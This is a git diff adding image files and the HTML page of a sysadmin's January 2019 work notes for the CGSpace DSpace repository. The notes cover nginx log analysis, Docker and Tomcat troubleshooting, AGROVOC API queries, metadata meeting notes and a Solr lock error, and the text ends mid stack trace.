b/docs/2018/02/jmx_dspace-sessions-day.png new file mode 100644 index 000000000..e8ad64e58 Binary files /dev/null and b/docs/2018/02/jmx_dspace-sessions-day.png differ diff --git a/docs/2018/02/jmx_dspace_sessions-day.png b/docs/2018/02/jmx_dspace_sessions-day.png new file mode 100644 index 000000000..5b102d117 Binary files /dev/null and b/docs/2018/02/jmx_dspace_sessions-day.png differ diff --git a/docs/2018/02/postgresql-locks-week.png b/docs/2018/02/postgresql-locks-week.png new file mode 100644 index 000000000..80293d7f6 Binary files /dev/null and b/docs/2018/02/postgresql-locks-week.png differ diff --git a/docs/2018/02/xmlui-orcid-display.png b/docs/2018/02/xmlui-orcid-display.png new file mode 100644 index 000000000..4e503cb80 Binary files /dev/null and b/docs/2018/02/xmlui-orcid-display.png differ diff --git a/docs/2018/03/layout-only-citation.png b/docs/2018/03/layout-only-citation.png new file mode 100644 index 000000000..db6544128 Binary files /dev/null and b/docs/2018/03/layout-only-citation.png differ diff --git a/docs/2018/04/jmx_dspace_sessions-week.png b/docs/2018/04/jmx_dspace_sessions-week.png new file mode 100644 index 000000000..3d91f0b72 Binary files /dev/null and b/docs/2018/04/jmx_dspace_sessions-week.png differ diff --git a/docs/2018/05/openrefine-solr-conciliator.png b/docs/2018/05/openrefine-solr-conciliator.png new file mode 100644 index 000000000..369b4278a Binary files /dev/null and b/docs/2018/05/openrefine-solr-conciliator.png differ diff --git a/docs/2018/09/tomcat_maxtime-week.png b/docs/2018/09/tomcat_maxtime-week.png new file mode 100644 index 000000000..e0dc7a47c Binary files /dev/null and b/docs/2018/09/tomcat_maxtime-week.png differ diff --git a/docs/2018/12/postgres_connections_db-month.png b/docs/2018/12/postgres_connections_db-month.png new file mode 100644 index 000000000..6a9bf25a6 Binary files /dev/null and b/docs/2018/12/postgres_connections_db-month.png differ diff --git a/docs/2019-01/index.html b/docs/2019-01/index.html new file mode 100644 index 000000000..441b15273 --- /dev/null +++ b/docs/2019-01/index.html @@ -0,0 +1,1318 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2019

+

+ + in + Notes + + +

+
+

2019-01-02

+
    +
  • Linode alerted that CGSpace (linode18) had a higher outbound traffic rate than normal early this morning
    • +
  • I don’t see anything interesting in the web server logs around that time though:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Jan/2019:0(1|2|3)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     92 40.77.167.4
+     99 210.7.29.100
+    120 38.126.157.45
+    177 35.237.175.180
+    177 40.77.167.32
+    216 66.249.75.219
+    225 18.203.76.93
+    261 46.101.86.248
+    357 207.46.13.1
+    903 54.70.40.11
+
    +
  • Analyzing the types of requests made by the top few IPs during that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Jan/2019:0(1|2|3)" | grep 54.70.40.11 | grep -o -E "(bitstream|discover|handle)" | sort | uniq -c
+     30 bitstream
+    534 discover
+    352 handle
+# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Jan/2019:0(1|2|3)" | grep 207.46.13.1 | grep -o -E "(bitstream|discover|handle)" | sort | uniq -c
+    194 bitstream
+    345 handle
+# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Jan/2019:0(1|2|3)" | grep 46.101.86.248 | grep -o -E "(bitstream|discover|handle)" | sort | uniq -c
+    261 handle
+
    +
  • It’s not clear to me what was causing the outbound traffic spike
    • +
  • Oh nice! The once-per-year cron job for rotating the Solr statistics actually worked now (for the first time ever!):
    • +
+
Moving: 81742 into core statistics-2010
+Moving: 1837285 into core statistics-2011
+Moving: 3764612 into core statistics-2012
+Moving: 4557946 into core statistics-2013
+Moving: 5483684 into core statistics-2014
+Moving: 2941736 into core statistics-2015
+Moving: 5926070 into core statistics-2016
+Moving: 10562554 into core statistics-2017
+Moving: 18497180 into core statistics-2018
+
    +
  • This could by why the outbound traffic rate was high, due to the S3 backup that run at 3:30AM…
    • +
  • Run all system updates on DSpace Test (linode19) and reboot the server
    • +
+

2019-01-03

+
    +
  • Update local Docker image for DSpace PostgreSQL, re-using the existing data volume:
    • +
+
$ sudo docker pull postgres:9.6-alpine
+$ sudo docker rm dspacedb
+$ sudo docker run --name dspacedb -v /home/aorth/.local/lib/containers/volumes/dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+
    +
  • Testing DSpace 5.9 with Tomcat 8.5.37 on my local machine and I see that Atmire’s Listings and Reports still doesn’t work +
      +
    • After logging in via XMLUI and clicking the Listings and Reports link from the sidebar it redirects me to a JSPUI login page
      • +
    • If I log in again there the Listings and Reports work… hmm.
      • +
    +
    • +
  • The JSPUI application—which Listings and Reports depends upon—also does not load, though the error is perhaps unrelated:
    • +
+
2019-01-03 14:45:21,727 INFO  org.dspace.browse.BrowseEngine @ anonymous:session_id=9471D72242DAA05BCC87734FE3C66EA6:ip_addr=127.0.0.1:browse_mini:
+2019-01-03 14:45:21,971 INFO  org.dspace.app.webui.discovery.DiscoverUtility @ facets for scope, null: 23
+2019-01-03 14:45:22,115 WARN  org.dspace.app.webui.servlet.InternalErrorServlet @ :session_id=9471D72242DAA05BCC87734FE3C66EA6:internal_error:-- URL Was: http://localhost:8080/jspui/internal-error
+-- Method: GET
+-- Parameters were:
+
+org.apache.jasper.JasperException: /home.jsp (line: [214], column: [1]) /discovery/static-tagcloud-facet.jsp (line: [57], column: [8]) No tag [tagcloud] defined in tag library imported with prefix [dspace]
+    at org.apache.jasper.compiler.DefaultErrorHandler.jspError(DefaultErrorHandler.java:41)
+    at org.apache.jasper.compiler.ErrorDispatcher.dispatch(ErrorDispatcher.java:291)
+    at org.apache.jasper.compiler.ErrorDispatcher.jspError(ErrorDispatcher.java:97)
+    at org.apache.jasper.compiler.Parser.processIncludeDirective(Parser.java:347)
+    at org.apache.jasper.compiler.Parser.parseIncludeDirective(Parser.java:380)
+    at org.apache.jasper.compiler.Parser.parseDirective(Parser.java:481)
+    at org.apache.jasper.compiler.Parser.parseElements(Parser.java:1445)
+    at org.apache.jasper.compiler.Parser.parseBody(Parser.java:1683)
+    at org.apache.jasper.compiler.Parser.parseOptionalBody(Parser.java:1016)
+    at org.apache.jasper.compiler.Parser.parseCustomTag(Parser.java:1291)
+    at org.apache.jasper.compiler.Parser.parseElements(Parser.java:1470)
+    at org.apache.jasper.compiler.Parser.parse(Parser.java:144)
+    at org.apache.jasper.compiler.ParserController.doParse(ParserController.java:244)
+    at org.apache.jasper.compiler.ParserController.parse(ParserController.java:105)
+    at org.apache.jasper.compiler.Compiler.generateJava(Compiler.java:202)
+    at org.apache.jasper.compiler.Compiler.compile(Compiler.java:373)
+    at org.apache.jasper.compiler.Compiler.compile(Compiler.java:350)
+    at org.apache.jasper.compiler.Compiler.compile(Compiler.java:334)
+    at org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:595)
+    at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:399)
+    at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:386)
+    at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:330)
+    at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
+    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
+    at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:728)
+    at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:470)
+    at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:395)
+    at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:316)
+    at org.dspace.app.webui.util.JSPManager.showJSP(JSPManager.java:60)
+    at org.apache.jsp.index_jsp._jspService(index_jsp.java:191)
+    at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
+    at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
+    at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
+    at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:386)
+    at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:330)
+    at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
+    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
+    at org.dspace.utils.servlet.DSpaceWebappServletFilter.doFilter(DSpaceWebappServletFilter.java:78)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
+    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
+    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
+    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
+    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
+    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
+    at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:234)
+    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650)
+    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
+    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
+    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
+    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
+    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
+    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
+    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
+    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+    at java.lang.Thread.run(Thread.java:748)
+
    +
  • I notice that I get different JSESSIONID cookies for / (XMLUI) and /jspui (JSPUI) on Tomcat 8.5.37, I wonder if it’s the same on Tomcat 7.0.92… yes I do.
    • +
  • Hmm, on Tomcat 7.0.92 I see that I get a dspace.current.user.id session cookie after logging into XMLUI, and then when I browse to JSPUI I am still logged in… +
      +
    • I didn’t see that cookie being set on Tomcat 8.5.37
      • +
    +
    • +
  • I sent a message to the dspace-tech mailing list to ask
    • +
+

2019-01-04

+
    +
  • Linode sent a message last night that CGSpace (linode18) had high CPU usage, but I don’t see anything around that time in the web server logs:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Jan/2019:1(7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    189 207.46.13.192
+    217 31.6.77.23
+    340 66.249.70.29
+    349 40.77.167.86
+    417 34.218.226.147
+    630 207.46.13.173
+    710 35.237.175.180
+    790 40.77.167.87
+   1776 66.249.70.27
+   2099 54.70.40.11
+
    +
  • I’m thinking about trying to validate our dc.subject terms against AGROVOC webservices
    • +
  • There seem to be a few APIs and the documentation is kinda confusing, but I found this REST endpoint that does work well, for example searching for SOIL:
    • +
+
$ http http://agrovoc.uniroma2.it/agrovoc/rest/v1/search?query=SOIL&lang=en
+HTTP/1.1 200 OK
+Access-Control-Allow-Origin: *
+Connection: Keep-Alive
+Content-Length: 493
+Content-Type: application/json; charset=utf-8
+Date: Fri, 04 Jan 2019 13:44:27 GMT
+Keep-Alive: timeout=5, max=100
+Server: Apache
+Strict-Transport-Security: max-age=63072000; includeSubdomains
+Vary: Accept
+X-Content-Type-Options: nosniff
+X-Frame-Options: ALLOW-FROM http://aims.fao.org
+
+{
+    "@context": {
+        "@language": "en",
+        "altLabel": "skos:altLabel",
+        "hiddenLabel": "skos:hiddenLabel",
+        "isothes": "http://purl.org/iso25964/skos-thes#",
+        "onki": "http://schema.onki.fi/onki#",
+        "prefLabel": "skos:prefLabel",
+        "results": {
+            "@container": "@list",
+            "@id": "onki:results"
+        },
+        "skos": "http://www.w3.org/2004/02/skos/core#",
+        "type": "@type",
+        "uri": "@id"
+    },
+    "results": [
+        {
+            "lang": "en",
+            "prefLabel": "soil",
+            "type": [
+                "skos:Concept"
+            ],
+            "uri": "http://aims.fao.org/aos/agrovoc/c_7156",
+            "vocab": "agrovoc"
+        }
+    ],
+    "uri": ""
+}
+
    +
  • The API does not appear to be case sensitive (searches for SOIL and soil return the same thing)
    • +
  • I’m a bit confused that there’s no obvious return code or status when a term is not found, for example SOILS:
    • +
+
HTTP/1.1 200 OK
+Access-Control-Allow-Origin: *
+Connection: Keep-Alive
+Content-Length: 367
+Content-Type: application/json; charset=utf-8
+Date: Fri, 04 Jan 2019 13:48:31 GMT
+Keep-Alive: timeout=5, max=100
+Server: Apache
+Strict-Transport-Security: max-age=63072000; includeSubdomains
+Vary: Accept
+X-Content-Type-Options: nosniff
+X-Frame-Options: ALLOW-FROM http://aims.fao.org
+
+{
+    "@context": {
+        "@language": "en",
+        "altLabel": "skos:altLabel",
+        "hiddenLabel": "skos:hiddenLabel",
+        "isothes": "http://purl.org/iso25964/skos-thes#",
+        "onki": "http://schema.onki.fi/onki#",
+        "prefLabel": "skos:prefLabel",
+        "results": {
+            "@container": "@list",
+            "@id": "onki:results"
+        },
+        "skos": "http://www.w3.org/2004/02/skos/core#",
+        "type": "@type",
+        "uri": "@id"
+    },
+    "results": [],
+    "uri": ""
+}
+
    +
  • I guess the results object will just be empty…
    • +
  • Another way would be to try with SPARQL, perhaps using the Python 2.7 sparql-client:
    • +
+
$ python2.7 -m virtualenv /tmp/sparql
+$ . /tmp/sparql/bin/activate
+$ pip install sparql-client ipython
+$ ipython
+In [10]: import sparql
+In [11]: s = sparql.Service("http://agrovoc.uniroma2.it:3030/agrovoc/sparql", "utf-8", "GET")
+In [12]: statement=('PREFIX skos: <http://www.w3.org/2004/02/skos/core#> '
+    ...: 'SELECT '
+    ...: '?label '
+    ...: 'WHERE { '
+    ...: '{  ?concept  skos:altLabel ?label . } UNION {  ?concept  skos:prefLabel ?label . } '
+    ...: 'FILTER regex(str(?label), "^fish", "i") . '
+    ...: '} LIMIT 10')
+In [13]: result = s.query(statement)
+In [14]: for row in result.fetchone():
+   ...:     print(row)
+   ...:
+(<Literal "fish catching"@en>,)
+(<Literal "fish harvesting"@en>,)
+(<Literal "fish meat"@en>,)
+(<Literal "fish roe"@en>,)
+(<Literal "fish conversion"@en>,)
+(<Literal "fisheries catches (composition)"@en>,)
+(<Literal "fishtail palm"@en>,)
+(<Literal "fishflies"@en>,)
+(<Literal "fishery biology"@en>,)
+(<Literal "fish production"@en>,)
+
    +
  • The SPARQL query comes from my notes in 2017-08
    • +
+

2019-01-06

+
    +
  • I built a clean DSpace 5.8 installation from the upstream dspace-5.8 tag and the issue with the XMLUI/JSPUI login is still there with Tomcat 8.5.37 +
      +
    • If I log into XMLUI and then nagivate to JSPUI I need to log in again
      • +
    • XMLUI does not set the dspace.current.user.id session cookie in Tomcat 8.5.37 for some reason
      • +
    • I sent an update to the dspace-tech mailing list to ask for more help troubleshooting
      • +
    +
    • +
+

2019-01-07

+
    +
  • I built a clean DSpace 6.3 installation from the upstream dspace-6.3 tag and the issue with the XMLUI/JSPUI login is still there with Tomcat 8.5.37 +
      +
    • If I log into XMLUI and then nagivate to JSPUI I need to log in again
      • +
    • XMLUI does not set the dspace.current.user.id session cookie in Tomcat 8.5.37 for some reason
      • +
    • I sent an update to the dspace-tech mailing list to ask for more help troubleshooting
      • +
    +
    • +
+

2019-01-08

+
    +
  • Tim Donohue responded to my thread about the cookies on the dspace-tech mailing list + +
    • +
+

2019-01-11

+
    +
  • Tezira wrote to say she has stopped receiving the DSpace Submission Approved and Archived emails from CGSpace as of January 2nd +
      +
    • I told her that I haven’t done anything to disable it lately, but that I would check
      • +
    • Bizu also says she hasn’t received them lately
      • +
    +
    • +
+

2019-01-14

+
    +
  • Day one of CGSpace AReS meeting in Amman
    • +
+

2019-01-15

+
    +
  • Day two of CGSpace AReS meeting in Amman +
      +
    • Discuss possibly extending the dspace-statistics-api to make community and collection statistics available
      • +
    • Discuss new “final” CG Core document and some changes that we’ll need to do on CGSpace and other repositories
      • +
    • We agreed to try to stick to pure Dublin Core where possible, then use fields that exist in standard DSpace, and use “cg” namespace for everything else
      • +
    • Major changes are to move dc.contributor.author to dc.creator (which MELSpace and WorldFish are already using in their DSpace repositories)
      • +
    +
    • +
  • I am testing the speed of the WorldFish DSpace repository’s REST API and it’s five to ten times faster than CGSpace as I tested in 2018-10:
    • +
+
$ time http --print h 'https://digitalarchive.worldfishcenter.org/rest/items?expand=metadata,bitstreams,parentCommunityList&limit=100&offset=0'
+
+0.16s user 0.03s system 3% cpu 5.185 total
+0.17s user 0.02s system 2% cpu 7.123 total
+0.18s user 0.02s system 6% cpu 3.047 total
+
    +
  • In other news, Linode sent a mail last night that the CPU load on CGSpace (linode18) was high, here are the top IPs in the logs around those few hours:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "14/Jan/2019:(17|18|19|20)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    157 31.6.77.23
+    192 54.70.40.11
+    202 66.249.64.157
+    207 40.77.167.204
+    220 157.55.39.140
+    326 197.156.105.116
+    385 207.46.13.158
+   1211 35.237.175.180
+   1830 66.249.64.155
+   2482 45.5.186.2
+

2019-01-16

+
    +
  • Day three of CGSpace AReS meeting in Amman +
      +
    • We discussed CG Core 2.0 metadata and decided some action points
      • +
    • We discussed branding of AReS tool
      • +
    +
    • +
  • Notes from our CG Core 2.0 metadata discussion: +
      +
    • Not Dublin Core: +
        +
      • dc.subtype
        • +
      • dc.peer-reviewed
        • +
      +
      • +
    • Dublin Core, possible action for CGSpace: +
        +
      • dc.description: +
          +
        • We use dc.description.abstract, dc.description (Notes), dc.description.version (Peer review status), dc.description.sponsorship (Funder)
          • +
        • Maybe move abstract to dc.description
          • +
        • Maybe notes moves to cg.description.notes???
          • +
        • Maybe move dc.description.version to cg.peer-reviewed or cg.peer-review-status???
          • +
        • Move dc.description.sponsorship to cg.contributor.donor???
          • +
        +
        • +
      • dc.subject: +
          +
        • Wait for guidance, evaluate technical implications (Google indexing, OAI, etc)
          • +
        +
        • +
      • Move dc.contributor.author to dc.creator
        • +
      • dc.contributor Project +
          +
        • Recommend against creating new fields for all projects
          • +
        • We use collections projects/themes/etc
          • +
        +
        • +
      • dc.contributor Project Lead Center +
          +
        • MELSpace uses cg.contributor.project-lead-institute (institute is more generic than center)
          • +
        • Maybe we use?
          • +
        +
        • +
      • dc.contributor Partner +
          +
        • Wait for guidance
          • +
        • MELSpace uses cg.contibutor.center (?)
          • +
        +
        • +
      • dc.contributor Donor +
          +
        • Use cg.contributor.donor
          • +
        +
        • +
      • dc.date +
          +
        • Wait for guidance, maybe move dc.date.issued?
          • +
        • dc.date.accessioned and dc.date.available are automatic in DSpace
          • +
        +
        • +
      • dc.language +
          +
        • Move dc.language.iso to dc.language
          • +
        +
        • +
      • dc.identifier +
          +
        • Move cg.identifier.url to dc.identifier
          • +
        +
        • +
      • dc.identifier bibliographicCitation +
          +
        • dc.identifier.citation should move to dc.bibliographicCitation
          • +
        +
        • +
      • dc.description.notes +
          +
        • Wait for guidance, maybe move to cg.description.notes ???
          • +
        +
        • +
      • dc.relation +
          +
        • Maybe move cg.link.reference
          • +
        • Perhaps consolodate cg.link.audio etc there…?
          • +
        +
        • +
      • dc.relation.isPartOf +
          +
        • Move dc.relation.ispartofseries to dc.relation.isPartOf
          • +
        +
        • +
      • dc.audience +
          +
        • Move cg.targetaudience to dc.audience
          • +
        +
        • +
      +
      • +
    +
    • +
  • Something happened to the Solr usage statistics on CGSpace +
      +
    • I looked on the server and the Solr cores are there (56GB!), and I don’t see any obvious errors in dmesg or anything
      • +
    • I see that the server hasn’t been rebooted in 26 days so I rebooted it
      • +
    +
    • +
  • After reboot the Solr stats are still messed up in the Atmire Usage Stats module, it only shows 2019-01!
    • +
+

Solr stats fucked up

+
    +
  • In the Solr admin UI I see the following error:
    • +
+
statistics-2018: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher
+
    +
  • Looking in the Solr log I see this:
    • +
+
2019-01-16 13:37:55,395 ERROR org.apache.solr.core.CoreContainer @ Error creating core [statistics-2018]: Error opening new searcher
+org.apache.solr.common.SolrException: Error opening new searcher
+    at org.apache.solr.core.SolrCore.<init>(SolrCore.java:873)
+    at org.apache.solr.core.SolrCore.<init>(SolrCore.java:646)
+    at org.apache.solr.core.CoreContainer.create(CoreContainer.java:491)
+    at org.apache.solr.core.CoreContainer.create(CoreContainer.java:466)
+    at org.apache.solr.handler.admin.CoreAdminHandler.handleCreateAction(CoreAdminHandler.java:575)
+    at org.apache.solr.handler.admin.CoreAdminHandler.handleRequestInternal(CoreAdminHandler.java:199)
+    at org.apache.solr.handler.admin.CoreAdminHandler.handleRequestBody(CoreAdminHandler.java:188)
+    at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:135)
+    at org.apache.solr.servlet.SolrDispatchFilter.handleAdminRequest(SolrDispatchFilter.java:729)
+    at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:258)
+    at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:207)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.dspace.solr.filters.LocalHostRestrictionFilter.doFilter(LocalHostRestrictionFilter.java:50)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:221)
+    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)
+    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505)
+    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
+    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
+    at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:180)
+    at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956)
+    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:436)
+    at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1078)
+    at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625)
+    at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316)
+    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+    at java.lang.Thread.run(Thread.java:748)
+Caused by: org.apache.solr.common.SolrException: Error opening new searcher
+    at org.apache.solr.core.SolrCore.openNewSearcher(SolrCore.java:1565)
+    at org.apache.solr.core.SolrCore.getSearcher(SolrCore.java:1677)
+    at org.apache.solr.core.SolrCore.<init>(SolrCore.java:845)
+    ... 31 more
+Caused by: org.apache.lucene.store.LockObtainFailedException: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2018/data/index/write.lock
+    at org.apache.lucene.store.Lock.obtain(Lock.java:89)
+    at org.apache.lucene.index.IndexWriter.<init>(IndexWriter.java:753)
+    at org.apache.solr.update.SolrIndexWriter.<init>(SolrIndexWriter.java:77)
+    at org.apache.solr.update.SolrIndexWriter.create(SolrIndexWriter.java:64)
+    at org.apache.solr.update.DefaultSolrCoreState.createMainIndexWriter(DefaultSolrCoreState.java:279)
+    at org.apache.solr.update.DefaultSolrCoreState.getIndexWriter(DefaultSolrCoreState.java:111)
+    at org.apache.solr.core.SolrCore.openNewSearcher(SolrCore.java:1528)
+    ... 33 more
+2019-01-16 13:37:55,401 ERROR org.apache.solr.core.SolrCore @ org.apache.solr.common.SolrException: Error CREATEing SolrCore 'statistics-2018': Unable to create core [statistics-2018] Caused by: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2018/data/index/write.lock
+    at org.apache.solr.handler.admin.CoreAdminHandler.handleCreateAction(CoreAdminHandler.java:613)
+    at org.apache.solr.handler.admin.CoreAdminHandler.handleRequestInternal(CoreAdminHandler.java:199)
+    at org.apache.solr.handler.admin.CoreAdminHandler.handleRequestBody(CoreAdminHandler.java:188)
+    at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:135)
+    at org.apache.solr.servlet.SolrDispatchFilter.handleAdminRequest(SolrDispatchFilter.java:729)
+    at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:258)
+    at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:207)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.dspace.solr.filters.LocalHostRestrictionFilter.doFilter(LocalHostRestrictionFilter.java:50)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:221)
+    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)
+    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505)
+    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
+    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
+    at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:180)
+    at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956)
+    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:436)
+    at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1078)
+    at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625)
+    at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316)
+    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+    at java.lang.Thread.run(Thread.java:748)
+Caused by: org.apache.solr.common.SolrException: Unable to create core [statistics-2018]
+    at org.apache.solr.core.CoreContainer.create(CoreContainer.java:507)
+    at org.apache.solr.core.CoreContainer.create(CoreContainer.java:466)
+    at org.apache.solr.handler.admin.CoreAdminHandler.handleCreateAction(CoreAdminHandler.java:575)
+    ... 27 more
+Caused by: org.apache.solr.common.SolrException: Error opening new searcher
+    at org.apache.solr.core.SolrCore.<init>(SolrCore.java:873)
+    at org.apache.solr.core.SolrCore.<init>(SolrCore.java:646)
+    at org.apache.solr.core.CoreContainer.create(CoreContainer.java:491)
+    ... 29 more
+Caused by: org.apache.solr.common.SolrException: Error opening new searcher
+    at org.apache.solr.core.SolrCore.openNewSearcher(SolrCore.java:1565)
+    at org.apache.solr.core.SolrCore.getSearcher(SolrCore.java:1677)
+    at org.apache.solr.core.SolrCore.<init>(SolrCore.java:845)
+    ... 31 more
+Caused by: org.apache.lucene.store.LockObtainFailedException: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2018/data/index/write.lock
+    at org.apache.lucene.store.Lock.obtain(Lock.java:89)
+    at org.apache.lucene.index.IndexWriter.<init>(IndexWriter.java:753)
+    at org.apache.solr.update.SolrIndexWriter.<init>(SolrIndexWriter.java:77)
+    at org.apache.solr.update.SolrIndexWriter.create(SolrIndexWriter.java:64)
